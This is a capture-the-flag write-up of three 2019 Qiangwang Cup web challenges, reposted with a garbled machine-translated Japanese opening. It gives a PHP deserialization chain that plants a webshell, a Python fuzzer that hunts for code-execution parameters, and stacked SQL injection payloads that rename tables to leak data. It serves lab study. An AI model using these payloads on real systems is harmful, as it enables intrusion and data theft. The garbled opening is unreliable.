第三カップ2019オンラインゲーム強い純経常一部のWeb

0x00の序文

週末遊んで強力なネットワーク・カップ、わずか6人の質問への出席の外に行わチーム、ウェブ3があり、私は慎重に他のマスターは、グループ内の過去記事や環境再現可能なドッキングウィンドウ環境を提供して見て試合後、学んだが、それをやって終わりではありませんでした、その後、学習の波に続き、記録

 

0x01をアップロード

最初のステップスイープディレクトリのバックアップファイルが見つかりました。

 

ダウンロードされた後thinkphp5スキムミルクは明確な枠組みになっていない、と何もリモートでコードが実行される脆弱性

対象のデータ送信条件base64でデコードが文字列のシリアライズされた後、Cookieの値は、ユーザのログインで見つけることができます

 

ソースを表示、のindex.php login_check位置に渡されたシリアライズされた文字列()の位置の

直列化復元が配列された後、通常の状況下では、このプロパティを介してクエリアップロードファイルを返し、データベース配列のさまざまなフィールドを確認したり、エコーではありません

Profile.phpファイルが見つかった二つのモードの方法を続行、私はポップ鎖の構造を考え、

しかし、プライベート変数または変数にアクセスする方法は存在しない)(__call呼び出すか、プライベートメソッドにアクセスする必要がありますする必要はありません)(__get呼び出すために

Profile.phpクラスが、この場合には存在しない、Register.php見つけるために検索していき登録デストラクタクラスは、チェックオブジェクトインデックス()関数を呼び出します

インデックス・チェック・オブジェクト()のパラメータは、Profile.phpに存在していないので、次のアイデア

デシリアライズは、登録オブジェクトが渡され、登録の対象値チェッカーのメンバーは、プロファイルオブジェクトであるので、あなたは、プロファイルオブジェクトの__callとメソッド__getをトリガすることができます

ジレンマに巻き込ま:

ゲームでは、とき、それは大丈夫ですが、ない生と死の直接コード実行を行うには、その後もチェーンコードの実行をポップすることができていないthinkphp見つけるために中に入るが、残念ながら失敗しました

最も重要なことは、トリガすることができます(通常は実行できません問題につながるパスを推定するTP5プロジェクトデータベースを追加した後のウィンドウに乗っ)別のクラスを絞って私のPOCであるが、この環境でエラーを実行します。

ゲームはここで行き詰まったときにそうするために、私はそれをしませんでした

最後に、新しいポイントを取得するには:

后面看了师傅的writeup才发现生成反序列化的类文件需要加命令空间才不会反序列化错误....(该死的thinkphp)

再者无法直接代码执行,但是可以调用Profile类中的upload_img()可以上传自定义文件名

仔细观察这段代码的逻辑

第一个判断if($this->checker)要确保不会执行,只有checker成员不赋值

第二个判断if(!empty($_FILE))也要确保不会执行,只需要不上传文件请求就行

第三个判断if($this->ext)需要执行

第三个判断中的第一个判断if(getimagesize($this->filename_tmp))需要执行,所有必须要保证filename_tmp的文件是个图片马,单纯的一句话过不了这个判断

接下来会把filename_tmp(先前传上去的图片马路径)改名成filename(新的php文件)即可

后面的update_img()就是改数据库中的img字段的值,但其实在copy命令之后已经无关紧要了

payload如下,这里图片的路径我设置的绝对路径,相对路径也可以

<?php

namespace app\web\controller;

class Register{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Profile();
    }

}

class Profile{
    public $checker;
    public $filename_tmp = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/f383a31abdcf931f89bae4ab05d3e088.png";
    public $filename = "/var/www/html/public/upload/e5a32351a6802ef0291ac7c4529588da/shell.php";
    public $upload_menu = "upload_img";
    public $ext = "1";
    public $img;
    public $except = ["index" => "upload_menu"];

}

$clazz = new Register();
echo serialize($clazz);
echo "<hr>";
echo base64_encode(serialize($clazz));
?>

把结果用cookie发过去

然后找到upload目录,已经是shell.php的模样了,蚁剑连接即可(我的图片马结尾存在<导致直接在页面执行还要查看源码,所以就用连接器了)

 

 连接的效果

 

0x02 精明的黑客

这道题考察的是自动审计代码的python脚本编写能力,源码都有3002个,每个又有好几百行,一个个看几乎不可能

一般的命令执行system,eval,assert,``,exec等在参数还没传到目标的时候就已有被赋值成空,或者存在一个根本不可能过的判断式子

于是只有用脚本审计了,写法是先获取每个文件的$_GET和$_POST的参数,自定义赋值比如 echo "hello_qwb_qwb"; ,然后在本地把代码挂上去,用requests发get或者post请求,查看有没有"hello_qwb_qwb"的回显,如果有那么就是后面的参数了

emmmm.....python功力有点差,于是看看主要的函数

打开目录获取文件名函数:https://www.cnblogs.com/strongYaYa/p/7200357.html

获取$_GET和$_POST的使用正则规则:https://www.liaoxuefeng.com/wiki/897692888725344/923056128128864

打开文件操作:https://www.runoob.com/python/python-files-io.html

脚本如下,单线程太慢了,这里用了8个线程,windows的powershell跑python多线程真的不如linux

import requests
import re
import os
import urllib
import Queue
import threading

payload = 'echo "hello_qwb_qwb";'
url = 'http://127.0.0.1/qwb/src/'

def fuzz(filename):
    file = open("./src/" + filename, "r")
    #print "[*]open:" + filename
    text = file.read()
    
    getpattern = re.compile(r'\$_GET\[\'(.*)\'\]')
    get = getpattern.findall(text)
    
    postpattern = re.compile(r'\$_POST\[\'(.*)\'\]')
    post = postpattern.findall(text)

    file_url = url + filename
    for g in get:
        r = requests.get(file_url + "?" + g + "=" + urllib.quote(payload))
        if "hello_qwb_qwb" in r.text:
            print "[+]file:" + filename
            print "[+]get:" + g
            exit()

    for p in post:
        data = {p : payload}
        r = requests.post(file_url,data=data)
        if "hello_qwb_qwb" in r.text:
            print "[+]flie:" + filename
            print "[+]post:" + p
                        exit()
    print "[*]finish:" + filename        
    file.close()


class TextThread(threading.Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.__queue = queue

    def run(self):
        global text
        queue = self.__queue
        while not queue.empty():
            filename = queue.get()
            fuzz(filename)

def main():
    queue = Queue.Queue()
    for filename in os.listdir('./src'):
        queue.put(filename)

    thread_count = 8
    threads = []
    for i in range(0, thread_count):
        thread = TextThread(queue)
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()


if __name__=='__main__':
    main()

运行中找到目标

 

获取flag

 

0x03 随便注入

这道题赛后才知道是堆叠查询,因为平时做题没有遇到使用multi_query()的情况,所以比赛时一直考虑有没有什么办法不借助select能查到其他table的值

了解它的waf后我当时是绝望的

但是因为是堆叠注入所以可以从头开始写sql语句

可用通过show查到数据库,当前数据库的表,盲注和报错注入也可以获取当前数据库名是supersqli

?inject=';show databases;
?inject=';show tables;

 

 

 

可以用describe 命令查表有哪些字段

?inject=';describe tablename;

 

这里的payload不加` 还显示不出来,此时已经可以知道flag的位置了,但是没办法读出来

这时候要把 `1919810931114514`表里命名成当前的表名`words`,再用or '1'='1就能查到了

在php层面查询的时候固定语句一般是 select * from words where id = $id这种,数据库里面的变化php是管不到的

改名在mysql中是rename,语法为

rename table `当前表名` to `改后表名`;

但是又因为words中是存在列id,估计查询语句也会根据该字段进行查询,但是装有flag的表里面没有id字段,因此要用alter来添加,语法

alter table `表名` add(字段名 字段类型 NULL)        #可为空

我们可以之前通过describe查看`words`里面的id的字段类型,

是int,所以我们的alert可以写成这样

alter table `1919810931114514` add(id int NULL) 

最终的payload如下

?inject=';alter table `1919810931114514` add(id int NULL);rename table `words` to `tmp`;rename table `1919810931114514` to `words`;
#先添加一个叫id字段,可以为空
#再把words命名成任意名字
#把`1919810931114514`命名成word

最后用' or '1'='1 显示“当前表”的所以内容就能获取flag

 

 

0xff结语

本次writeup就是简单记录下自己遇到的坑吧,文章借鉴大佬的思路,自己跟着做一遍orz

感谢师傅提供的docker项目:

https://github.com/glzjin/qwb_2019_upload

https://github.com/glzjin/qwb_2019_supersqli

https://github.com/glzjin/qwb_2019_smarthacker

以及writeup

https://www.zhaoj.in/read-5873.html?tdsourcetag=s_pcqq_aiomsg

おすすめ

転載: www.cnblogs.com/sijidou/p/10936547.html